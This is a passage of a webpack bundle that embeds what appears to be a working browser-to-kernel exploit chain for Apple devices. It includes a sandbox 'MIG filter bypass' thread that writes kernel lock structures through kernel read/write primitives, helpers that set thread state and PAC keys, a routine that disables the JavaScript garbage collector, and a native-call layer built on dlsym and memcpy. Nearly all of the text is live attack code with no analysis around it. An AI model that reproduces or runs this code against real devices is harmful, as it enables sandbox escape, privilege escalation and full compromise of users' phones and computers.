{\n\t\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().guardExcCode, 0n);\n\t\t}\n\t}\n\tstatic getOptions(thread)\n\t{\n\t\tlet options = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read16(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().options);\n\t\treturn options;\n\t}\n\tstatic setOptions(thread, options)\n\t{\n\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write16(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().options, options);\n\t}\n\tstatic getRopPid(thread)\n\t{\n\t\tlet ropPid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().ropPid);\n\t\treturn ropPid;\n\t}\n\tstatic getJopPid(thread)\n\t{\n\t\tlet jopPid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().jopPid);\n\t\treturn jopPid;\n\t}\n\tstatic setPACKeys(thread, keyA, keyB)\n\t{\n\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().ropPid, keyA);\n\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().jopPid, keyB);\n\t}\n\n\tstatic getState(machThread)\n\t{\n\t\tlet statePtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].mem;\n\t\tlet stateCountPtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].mem + 0x200n;\n\t\tlibs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].write32(stateCountPtr, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].ARM_THREAD_STATE64_COUNT);\n\t\tlet kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].callSymbol(\"thread_get_state\",\n\t\t\tmachThread,\n\t\t\tlibs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].ARM_THREAD_STATE64,\n\t\t\tstatePtr,\n\t\t\tstateCountPtr);\n\t\tif (kr != 0) {\n\t\t\tconsole.log(TAG, \"Unable to read thread state\");\n\t\t\treturn false;\n\t\t}\n\n\t\tlet stateBuff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].read(statePtr, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].ARM_THREAD_STATE64_SIZE);\n\t\tlet state = new _ThreadState__WEBPACK_IMPORTED_MODULE_2__[\"default\"](stateBuff);\n\t\treturn state;\n\t}\n\n\tstatic setState(machThread, threadAddr, state)\n\t{\n\t\tlet options = 0;\n\t\tif (threadAddr) {\n\t\t\toptions = Thread.getOptions(threadAddr);\n\t\t\toptions |= 0x8000;\n\t\t\tThread.setOptions(threadAddr, options);\n\t\t}\n\n\t\tlet statePtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].mem;\n\t\tlibs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].write(statePtr, state.buffer);\n\t\t//console.log(TAG,`thread:${Utils.hex(thread)}`);\n\t\tlet kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].callSymbol(\"thread_set_state\",\n\t\t\tmachThread,\n\t\t\tlibs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].ARM_THREAD_STATE64,\n\t\t\tstatePtr,\n\t\t\tlibs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].ARM_THREAD_STATE64_COUNT);\n\t\tif (kr != 0)\n\t\t{\n\t\t\tconsole.log(TAG,`Failed thread_set_state with error:${kr}`);\n\t\t\treturn false;\n\t\t}\n\n\t\tif (threadAddr) {\n\t\t\toptions &= ~0x8000;\n\t\t\tThread.setOptions(threadAddr, options);\n\t\t}\n\t\treturn true;\n\t}\n\n\tstatic resume(machThread)\n\t{\n\t\tlet kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].callSymbol(\"thread_resume\", machThread);\n\t\tif (kr != 0) {\n\t\t\tconsole.log(TAG, \"Unable to resume suspended thread\");\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t}\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/TaskRop/ThreadState.js\":\n/*!*****************************************!*\\\n !*** ./src/libs/TaskRop/ThreadState.js ***!\n \\*****************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ ThreadState)\n/* harmony export */ });\n/* harmony import */ var _RegistersStruct__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./RegistersStruct */ \"./src/libs/TaskRop/RegistersStruct.js\");\n\n\nclass ThreadState\n{\n\t#buffer;\n\t#dataView;\n\tconstructor(buffer, offset = 0)\n\t{\n\t\tthis.#buffer = buffer;\n\t\tthis.#dataView = new DataView(buffer,offset);\n\t\tthis.registers = new _RegistersStruct__WEBPACK_IMPORTED_MODULE_0__[\"default\"](buffer,offset);\n\t}\n\tget buffer()\n\t{\n\t\treturn this.#buffer;\n\t}\n\tget opaque_fp()\n\t{\n\t\treturn this.#dataView.getBigUint64(232,true);\n\t}\n\tset opaque_fp(value)\n\t{\n\t\tthis.#dataView.setBigUint64(232,value,true);\n\t}\n\tget opaque_lr()\n\t{\n\t\treturn this.#dataView.getBigUint64(240,true);\n\t}\n\tset opaque_lr(value)\n\t{\n\t\tthis.#dataView.setBigUint64(240,value,true);\n\t}\n\tget opaque_sp()\n\t{\n\t\treturn this.#dataView.getBigUint64(248,true);\n\t}\n\tset opaque_sp(value)\n\t{\n\t\tthis.#dataView.setBigUint64(248,value,true);\n\t}\n\tget opaque_pc()\n\t{\n\t\treturn this.#dataView.getBigUint64(256,true);\n\t}\n\tset opaque_pc(value)\n\t{\n\t\tthis.#dataView.setBigUint64(256,value,true);\n\t}\n\tget cpsr()\n\t{\n\t\treturn this.#dataView.getUint32(264,true);\n\t}\n\tset cpsr(value)\n\t{\n\t\tthis.#dataView.setUint32(264,value,true);\n\t}\n\tget opaque_flags()\n\t{\n\t\treturn this.#dataView.getUint32(268,true);\n\t}\n\tset opaque_flags(value)\n\t{\n\t\tthis.#dataView.setUint32(268,value,true);\n\t}\n}\n\n/***/ })\n\n/******/ \t});\n/************************************************************************/\n/******/ \t// The module cache\n/******/ \tvar __webpack_module_cache__ = {};\n/******/ \t\n/******/ \t// The require function\n/******/ \tfunction __webpack_require__(moduleId) {\n/******/ \t\t// Check if module is in cache\n/******/ \t\tvar cachedModule = __webpack_module_cache__[moduleId];\n/******/ \t\tif (cachedModule !== undefined) {\n/******/ \t\t\treturn cachedModule.exports;\n/******/ \t\t}\n/******/ \t\t// Create a new module (and put it into the cache)\n/******/ \t\tvar module = __webpack_module_cache__[moduleId] = {\n/******/ \t\t\t// no module.id needed\n/******/ \t\t\t// no module.loaded needed\n/******/ \t\t\texports: {}\n/******/ \t\t};\n/******/ \t\n/******/ \t\t// Execute the module function\n/******/ \t\t__webpack_modules__[moduleId](module, module.exports, __webpack_require__);\n/******/ \t\n/******/ \t\t// Return the exports of the module\n/******/ \t\treturn module.exports;\n/******/ \t}\n/******/ \t\n/************************************************************************/\n/******/ \t/* webpack/runtime/define property getters */\n/******/ \t(() => {\n/******/ \t\t// define getter functions for harmony exports\n/******/ \t\t__webpack_require__.d = (exports, definition) => {\n/******/ \t\t\tfor(var key in definition) {\n/******/ \t\t\t\tif(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {\n/******/ \t\t\t\t\tObject.defineProperty(exports, key, { enumerable: true, get: definition[key] });\n/******/ \t\t\t\t}\n/******/ \t\t\t}\n/******/ \t\t};\n/******/ \t})();\n/******/ \t\n/******/ \t/* webpack/runtime/hasOwnProperty shorthand */\n/******/ \t(() => {\n/******/ \t\t__webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))\n/******/ \t})();\n/******/ \t\n/******/ \t/* webpack/runtime/make namespace object */\n/******/ \t(() => {\n/******/ \t\t// define __esModule on exports\n/******/ \t\t__webpack_require__.r = (exports) => {\n/******/ \t\t\tif(typeof Symbol !== 'undefined' && Symbol.toStringTag) {\n/******/ \t\t\t\tObject.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });\n/******/ \t\t\t}\n/******/ \t\t\tObject.defineProperty(exports, '__esModule', { value: true });\n/******/ \t\t};\n/******/ \t})();\n/******/ \t\n/************************************************************************/\nvar __webpack_exports__ = {};\n// This entry needs to be wrapped in an IIFE because it needs to be isolated against other modules in the chunk.\n(() => {\n/*!**************************************!*\\\n !*** ./src/MigFilterBypassThread.js ***!\n \\**************************************/\n__webpack_require__.r(__webpack_exports__);\n/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/Native */ \"./src/libs/Chain/Native.js\");\n/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/Chain/Chain */ \"./src/libs/Chain/Chain.js\");\n/* harmony import */ var libs_TaskRop_Task__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/TaskRop/Task */ \"./src/libs/TaskRop/Task.js\");\n/* harmony import */ var libs_TaskRop_Thread__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! libs/TaskRop/Thread */ \"./src/libs/TaskRop/Thread.js\");\n/* harmony import */ var libs_TaskRop_TaskRop__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! libs/TaskRop/TaskRop */ \"./src/libs/TaskRop/TaskRop.js\");\n/* harmony import */ var libs_JSUtils_Logger__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! libs/JSUtils/Logger */ \"./src/libs/JSUtils/Logger.js\");\n/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! libs/JSUtils/Utils */ \"./src/libs/JSUtils/Utils.js\");\n/* harmony import */ var libs_Driver_DriverNewThread__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! libs/Driver/DriverNewThread */ \"./src/libs/Driver/DriverNewThread.js\");\n\n\n\n\n\n\n\n\n\nconst TAG = \"MIG_FILTER_BYPASS\";\n\nconst RUN_FLAG_STOP = 0;\nconst RUN_FLAG_RUN = 1;\nconst RUN_FLAG_PAUSE = 2;\n\nfunction disarm_gc() {\n\n\tlet vm = uread64(uread64(addrof(globalThis) + 0x10n) + 0x38n);\n\tlet heap = vm + 0xc0n;\n\tlet m_threadGroup = uread64(heap + 0x198n);\n\tlet threads = uread64(m_threadGroup);\n\tuwrite64(threads + 0x20n, 0x0n);\n\t// LOG(\"[+] gc disarmed\");\n}\n\nfunction kstrip(addr) {\n\treturn addr | 0xffffff8000000000n;\n}\n\nfunction lockSandboxLock() {\n\t// Find \"_duplicate_lock\" address, which is a \"lck_rw_t\"\n\tconst lockAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].getKernelBase() + migLock;\n\tconst sbxMessageAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].getKernelBase() + migSbxMsg;\n\n\t//console.log(TAG, \"kernelSlide: \" + Utils.hex(kernelSlide));\n\t//console.log(TAG, \"lockAddr: \" + Utils.hex(lockAddr));\n\t//console.log(TAG, \"sbxMessageAddr: \" + Utils.hex(sbxMessageAddr));\n\n\tlet lockBuff = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].readBuff(lockAddr, 16);\n\tlet lockBuff32 = new Uint32Array(lockBuff);\n\t//for (let i=0, j=0; i<16; i+=4, j++)\n\t//\tconsole.log(TAG, `${Utils.hex(i)}: ${Utils.hex(lockBuff32[j]).padStart(8, '0')}`);\n\n\tlet lockData = lockBuff32[2];\n\tlockData |= 0x410000;\t// interlock + can_sleep\n\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].write32(lockAddr + 0x8n, lockData);\n\n\t// Do we need to clear this addr while locking too? Or maybe just when we unlock is enough?\n\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].write64(sbxMessageAddr, 0n);\n}\n\nfunction unlockSandboxLock() {\n\tconst lockAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].getKernelBase() + migLock;\n\tconst sbxMessageAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].getKernelBase() + migSbxMsg;\n\n\t\n\t// clear the sbx message buffer (pointer) used to check for duplicate messages.\n\t// This should solve an issue with sfree() if we unlock and lock sandbox quick enough.\n\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].write64(sbxMessageAddr, 0n);\n\n\tlet lockBuff = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].readBuff(lockAddr, 16);\n\tlet lockBuff32 = new Uint32Array(lockBuff);\n\n\tlet lockData = lockBuff32[2];\n\tlockData &= ~0x10000;\t// interlock\n\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].write32(lockAddr + 0x8n, lockData);\n}\n\nfunction dumpKMem(addr, size) {\n\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].read(addr, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].mem, size);\n\tlet buff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].mem, size);\n\tlet buff64 = new BigUint64Array(buff);\n\tfor (let i=0, j=0; i= timeout)) {\n\t\t\tconsole.log(TAG, \"Timeout waiting for a syscall\");\n\t\t\tbreak;\n\t\t}\n\n\t\tlet filterTriggered = false;\n\t\tlet monitorThread1 = monitorThread1Ptr ? libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read64(monitorThread1Ptr) : false;\n\t\tlet monitorThread2 = monitorThread2Ptr ? libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read64(monitorThread2Ptr) : false;\n\n\t\tif (monitorThread1 && monitorThread2) {\n\t\t\t//console.log(TAG, \"check monitored threads\");\n\t\t\tfilterTriggered |= disableFilterOnThread(monitorThread1);\n\t\t\tfilterTriggered |= disableFilterOnThread(monitorThread2);\n\t\t}\n\t\telse {\n\t\t\t//console.log(TAG, \"Waiting for monitored threads...\");\n\t\t}\n\t\t\n\t\tif (filterTriggered)\n\t\t\tbreak;\n\n\t\t//console.log(TAG, \"No MIG syscall detected\");\n\n\t\tlibs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].callSymbol(\"usleep\", 50000);\n\t}\n\t//console.log(TAG, \"MIG syscall intercepted!\");\n\treturn RUN_FLAG_RUN;\n}\n\nfunction startFilterBypass(runBypassFlagPtr) {\n\tlet run = RUN_FLAG_PAUSE;\n\n\tlet selfTaskAddr = libs_TaskRop_Task__WEBPACK_IMPORTED_MODULE_2__[\"default\"].gSelfTask.addr;\n\n\twhile (run) {\n\t\tif (run == RUN_FLAG_PAUSE) {\n\t\t\tconsole.log(TAG, \"Pausing filter bypass\");\n\t\t\twhile (true) {\n\t\t\t\trun = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read32(runBypassFlagPtr);\n\t\t\t\tif (run != RUN_FLAG_PAUSE) {\n\t\t\t\t\tif (run == RUN_FLAG_RUN)\n\t\t\t\t\t\tconsole.log(TAG, \"Resuming filter bypass\");\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tlibs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].callSymbol(\"usleep\", 100000);\n\t\t\t}\n\t\t}\n\n\t\t//console.log(TAG, \"Locking sandbox...\");\n\t\tlockSandboxLock();\n\t\t//console.log(TAG, \"Sandbox locked\");\n\n\t\trun = waitForMigSyscall(selfTaskAddr, runBypassFlagPtr, 5000);\n\n\t\tunlockSandboxLock();\n\t\t//console.log(TAG, \"Sandbox unlocked\");\n\n\t\tif (run)\n\t\t\tlibs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].callSymbol(\"sched_yield\");\n\t}\n}\n\ndisarm_gc();\n\n// Register log function\n//globalThis.LOG_POST_TO_FILE = false;\nconsole.log = libs_JSUtils_Logger__WEBPACK_IMPORTED_MODULE_5__[\"default\"].log;\n\nconsole.log(TAG, \"Thread initialized!\");\n\nlet kernelControlPtr = thread_arg;\nlet kernelRWPtr = thread_arg + 0x8n;\nlet kernelBasePtr = thread_arg + 0x10n;\nlet mainThreadAddrPtr = thread_arg + 0x18n;\nlet runBypassFlagPtr = thread_arg + 0x20n;\nlet isRunningPtr = thread_arg + 0x28n;\nlet mutexPtr = thread_arg + 0x30n;\nlet migLockPtr = thread_arg + 0x38n;\nlet migSbxMsgPtr = thread_arg + 0x40n;\nlet migKernelStackLRPtr = thread_arg + 0x48n;\nlet monitorThread1Ptr = thread_arg + 0x50n;\nlet monitorThread2Ptr = thread_arg + 0x58n;\n\nlet kernelControl = uread64(kernelControlPtr);\nlet kernelRW = uread64(kernelRWPtr);\nlet kernelBase = uread64(kernelBasePtr);\nlet mainThreadAddr = uread64(mainThreadAddrPtr);\nrunBypassFlagPtr = uread64(runBypassFlagPtr);\nisRunningPtr = uread64(isRunningPtr);\nlet mutex = uread64(mutexPtr);\nlet migLock = uread64(migLockPtr);\nlet migSbxMsg = uread64(migSbxMsgPtr);\nlet migKernelStackLR = uread64(migKernelStackLRPtr);\nmonitorThread1Ptr = uread64(monitorThread1Ptr);\nmonitorThread2Ptr = uread64(monitorThread2Ptr);\n\nconsole.log(TAG, \"kernelControl: \" + kernelControl);\nconsole.log(TAG, \"kernelRW: \" + kernelRW);\nconsole.log(TAG, \"kernelBase: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(kernelBase));\nconsole.log(TAG, \"mainThreadAddr: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(mainThreadAddr));\nconsole.log(TAG, \"runBypassFlagPtr: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(runBypassFlagPtr));\nconsole.log(TAG, \"isRunningPtr: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(isRunningPtr));\nconsole.log(TAG, \"mutex: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(mutex));\nconsole.log(TAG, \"migLock: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(migLock));\nconsole.log(TAG, \"migSbxMsg: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(migSbxMsg));\nconsole.log(TAG, \"migKernelStackLR: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(migKernelStackLR));\nconsole.log(TAG, \"monitorThread1Ptr: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(monitorThread1Ptr));\nconsole.log(TAG, \"monitorThread2Ptr: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(monitorThread2Ptr));\n\ntry {\n\tlet driver = new libs_Driver_DriverNewThread__WEBPACK_IMPORTED_MODULE_7__[\"default\"](kernelControl, kernelRW, kernelBase);\n\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].init(driver, mutex);\n\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].testKRW();\n\tlibs_TaskRop_TaskRop__WEBPACK_IMPORTED_MODULE_4__[\"default\"].init();\n\n\tconsole.log(TAG, \"Chain initialized\");\n\n\tlibs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write32(isRunningPtr, 1);\n\n\tstartFilterBypass(runBypassFlagPtr);\n\n\tconsole.log(TAG, \"Terminating bypass thread\");\n}\ncatch (error) {\n\tconsole.log(TAG, \"Error: \" + error);\n\tconsole.log(TAG, \"\" + error.stack);\n}\n})();\n\nvar __webpack_export_target__ = exports;\nfor(var __webpack_i__ in __webpack_exports__) __webpack_export_target__[__webpack_i__] = __webpack_exports__[__webpack_i__];\nif(__webpack_exports__.__esModule) Object.defineProperty(__webpack_export_target__, \"__esModule\", { value: true });\n/******/ })()\n;"); /***/ }), /***/ "./node_modules/raw-loader/dist/cjs.js!./src/loader.js": /*!*************************************************************!*\ !*** ./node_modules/raw-loader/dist/cjs.js!./src/loader.js ***! \*************************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (__WEBPACK_DEFAULT_EXPORT__) /* harmony export */ }); /* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = ("class Native {\n\t\n\tstatic #baseAddr;\n\tstatic #dlsymAddr;\n\tstatic #memcpyAddr;\n\tstatic #mallocAddr;\n\tstatic #oinvAddr;\n\t\n\t// Preallocated memory chunk for general purpose stuff for public use\n\tstatic mem = 0n;\n\tstatic memSize = 0x4000;\n\t\n\t// Preallocated memory chunk for encoding/decoding of string arguments\n\tstatic #argMem = 0n;\n\tstatic #argMemPtr = 0n;\n\tstatic #argMemPtrStr = 0n;\n\t\n\t// Pointer to next available memory for native argument\n\tstatic #argPtr = 0n;\n\tstatic #argPtrPtr = 0n;\n\tstatic #argPtrStrPtr = 0n;\n\n\tstatic #dlsymCache = {};\n\t\n\tstatic init() {\n\t\tconst buff = new BigUint64Array(nativeCallBuff);\n\t\tthis.#baseAddr = buff[20];\n\t\tthis.#dlsymAddr = buff[21];\n\t\tthis.#memcpyAddr = buff[22];\n\t\tthis.#mallocAddr = buff[23];\n\t\tthis.#oinvAddr = buff[24];\n\t\t\n\t\t//log(\"baseAddr: \" + this.#baseAddr);\n\t\t//log(\"dlsymAddr: \" + this.#dlsymAddr);\n\t\t\n\t\t//this.#memcpyAddr = this.#dlsym(\"test\");\n\t\t//log(\"memcpyAddr: \" + this.#memcpyAddr);\n\t\t//log(\"oinvAddr: \" + this.#oinvAddr);\n\t\t\n\t\tthis.mem = this.#nativeCallAddr(this.#mallocAddr, BigInt(this.memSize)); //this.callSymbol(\"malloc\", this.memSize);\n\t\tthis.#argMem = this.#nativeCallAddr(this.#mallocAddr, 0x1000n); //this.callSymbol(\"malloc\", 0x1000);\n\t\tthis.#argMemPtr = this.#nativeCallAddr(this.#mallocAddr, 0x1000n); //this.callSymbol(\"malloc\", 0x1000);\n\t\tthis.#argMemPtrStr = this.#nativeCallAddr(this.#mallocAddr, 0x1000n); //this.callSymbol(\"malloc\", 0x1000);\n\t\tthis.#argPtr = this.#argMem;\n\t\tthis.#argPtrPtr = this.#argMemPtr;\n\t\tthis.#argPtrStrPtr = this.#argMemPtrStr;\n\t\t\n\t\t//log(\"argMem: \" + this.#argMem);\n\t\t//log(\"argMemPtr: \" + this.#argMemPtr);\n\t\t//log(\"argMemPtrStr: \" + this.#argMemPtrStr);\n\t}\n\t\n\tstatic write(ptr, buff) {\n\t\tif (!ptr)\n\t\t\treturn false;\n\t\t//log(\"write: \" + buff.byteLength);\n\t\tlet buff8 = new Uint8Array(nativeCallBuff);\n\t\tlet offs = 0;\n\t\tlet left = buff.byteLength;\n\t\twhile (left) {\n\t\t\tlet len = left;\n\t\t\tif (len > 0x1000)\n\t\t\t\tlen = 0x1000;\n\t\t\t//log(`writing: ptr=${ptr}, src=${Native.#baseAddr + 0x1000n}, offs=${offs}, len=${len}`);\n\t\t\tbuff8.set(new Uint8Array(buff, offs, len), 0x1000);\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, ptr + BigInt(offs), this.#baseAddr + 0x1000n, BigInt(len));\n\t\t\tleft -= len;\n\t\t\toffs += len;\n\t\t}\n\t\treturn true;\n\t}\n\t\n\tstatic read(ptr, length) {\n\t\tif (!ptr)\n\t\t\treturn null;\n\t\t//log(`read: ptr=${ptr}, length=${length}, ${typeof(length)}`, ptr, length);\n\t\tlet buff = new ArrayBuffer(length);\n\t\tlet buff8 = new Uint8Array(buff);\n\t\tlet offs = 0;\n\t\tlet left = length;\n\t\twhile (left) {\n\t\t\tlet len = left;\n\t\t\tif (len > 0x1000)\n\t\t\t\tlen = 0x1000;\n\t\t\t//log(`reading: ptr=${ptr}, dst=${Native.#baseAddr + 0x1000n}, offs=${offs}, len=${len}`);\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, this.#baseAddr + 0x1000n, ptr + BigInt(offs), BigInt(len));\n\t\t\tbuff8.set(new Uint8Array(nativeCallBuff, 0x1000, len), offs);\n\t\t\tleft -= len;\n\t\t\toffs += len;\n\t\t}\n\t\treturn buff;\n\t}\n\t\n\tstatic readPtr(ptr) {\n\t\tlet buff = this.read(ptr, 8);\n\t\tconst view = new DataView(buff);\n\t\treturn view.getBigUint64(0, true);\n\t}\n\t\n\tstatic readString(ptr, len=1024) {\n\t\tlet buff = this.read(ptr, len);\n\t\treturn this.bytesToString(buff, false);\n\t}\n\t\n\tstatic writeString(ptr, str) {\n\t\tconst buff = this.stringToBytes(str, true);\n\t\tthis.write(ptr, buff);\n\t}\n\t\n\tstatic callSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7) {\n\t\t//log(\"callSymbol: \" + name);\n\t\t// Initialize argPtr to point to general purpose memory chunk\n\t\tthis.#argPtr = this.#argMem;\n\t\tx0 = this.#toNative(x0);\n\t\tx1 = this.#toNative(x1);\n\t\tx2 = this.#toNative(x2);\n\t\tx3 = this.#toNative(x3);\n\t\tx4 = this.#toNative(x4);\n\t\tx5 = this.#toNative(x5);\n\t\tx6 = this.#toNative(x6);\n\t\tx7 = this.#toNative(x7);\n\t\tlet ret = this.#nativeCallSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7);\n\t\t// Reset argPtr\n\t\tthis.#argPtr = this.#argMem;\n\t\treturn ret;\n\t}\n\t\n\tstatic callSymbolRetain(name, x0, x1, x2, x3, x4, x5, x6, x7) {\n\t\t//log(\"callSymbolRetain: \" + name);\n\t\t// Initialize argPtrPtr to point to general purpose memory chunk\n\t\tthis.#argPtrPtr = this.#argMemPtr;\n\t\tthis.#argPtrStrPtr = this.#argMemPtrStr;\n\t\tx0 = this.#toNativePtr(x0);\n\t\tx1 = this.#toNativePtr(x1);\n\t\tx2 = this.#toNativePtr(x2);\n\t\tx3 = this.#toNativePtr(x3);\n\t\tx4 = this.#toNativePtr(x4);\n\t\tx5 = this.#toNativePtr(x5);\n\t\tx6 = this.#toNativePtr(x6);\n\t\tx7 = this.#toNativePtr(x7);\n\t\tlet ret = this.#nativeCallSymbolRetain(name, x0, x1, x2, x3, x4, x5, x6, x7);\n\t\t// Reset argPtrPtr\n\t\tthis.#argPtrPtr = this.#argMemPtr;\n\t\tthis.#argPtrStrPtr = this.#argMemPtrStr;\n\t\treturn ret;\n\t}\n\n\tstatic bytesToString(bytes, includeNullChar=true) {\n\t\tlet bytes8 = new Uint8Array(bytes);\n\t\tlet str = \"\";\n\t\tfor (let i=0; i= 0x1000) {\n\t\t\t\tlog('toNative(): arg string is too long');\n\t\t\t\treturn 0n;\n\t\t\t}\n\t\t\tlet ptr = this.#argPtr;\n\t\t\tthis.writeString(ptr, value);\n\t\t\tthis.#argPtr += BigInt(value.length + 1);\n\t\t\treturn ptr;\n\t\t}\n\t\telse if (typeof value === 'bigint') {\n\t\t\treturn value;\n\t\t}\n\t\telse\n\t\t\treturn BigInt(value);\n\t}\n\t\n\tstatic #toNativePtr(value) {\n\t\t//log(\"toNativePtr: \" + typeof value);\n\t\t// Strings need to be manually written to native memory\n\t\tif (!value)\n\t\t\treturn 0n;\n\t\tlet ptr = this.#argPtrPtr;\n\t\tif (typeof value === 'string') {\n\t\t\tif (value.length >= 0x1000) {\n\t\t\t\tlog('toNativePtr(): arg string is too long');\n\t\t\t\treturn 0n;\n\t\t\t}\n\t\t\tlet strPtr = this.#argPtrStrPtr;\n\t\t\tthis.writeString(strPtr, value);\n\t\t\tthis.#argPtrStrPtr += BigInt(value.length + 1);\n\t\t\tvalue = strPtr;\n\t\t}\n\t\telse if (typeof value !== 'bigint') {\n\t\t\tvalue = BigInt(value);\n\t\t}\n\t\tconst buff = new ArrayBuffer(8);\n\t\tconst view = new DataView(buff);\n\t\tview.setBigUint64(0, value, true);\n\t\tthis.write(ptr, buff);\n\t\tthis.#argPtrPtr += 8n;\n\t\treturn ptr;\n\t}\n\t\n\tstatic #dlsym(name) {\n\t\tif (!name)\n\t\t\treturn 0n;\n\t\tlet addr = this.#dlsymCache[name];\n\t\tif (addr)\n\t\t\treturn addr;\n\t\t//log(\"dlsym(): \" + name);\n\t\tconst RTLD_DEFAULT = 0xfffffffffffffffen;\n\t\tconst nameBytes 